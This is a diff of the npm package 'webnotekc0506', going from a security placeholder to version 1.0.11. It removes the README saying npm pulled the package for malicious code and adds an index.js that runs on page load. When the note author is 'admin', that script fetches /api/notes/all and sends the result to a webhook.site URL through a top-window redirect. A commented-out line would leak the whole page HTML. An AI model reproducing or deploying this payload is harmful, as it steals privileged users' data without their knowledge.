webnotekc0506 0.0.1-security → 1.0.11

package/index.js

@@ -0,0 +1,31 @@
+
+function sleep(milliseconds) {
+  var start = new Date().getTime();
+  for (var i = 0; i < 1e7; i++) {
+    if ((new Date().getTime() - start) > milliseconds){
+      break;
+    }
+  }
+}
+
+
+const WEBHOOK = 'https://webhook.site/ee626ce2-33d5-42fe-a52b-3330087cd7a8?q=';
+
+window.onload = ()=>{
+    console.log('hello world!')
+    // let leak = WEBHOOK + encodeURIComponent( document.body.outerHTML   )
+    // console.log(leak)
+    
+    const authorText = document.querySelector(".note > p").textContent
+    const author = authorText.match(/Author: (.+)/)[1]
+    console.log(author)
+
+    if ( author === 'admin' ){
+        fetch('/api/notes/all')
+            .then(res => res.json())
+            .then(res => {
+                const leak = WEBHOOK + encodeURIComponent(JSON.stringify(res));
+                window.top.location.href = leak;
+            })
+    }
+}

package/package.json

@@ -1,6 +1,13 @@
 {
   "name": "webnotekc0506",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "1.0.11",
+  "description": "",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1"
+  },
+  "author": "",
+  "license": "ISC",
+  "dependencies": {
+  }
 }

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=webnotekc0506 for more information.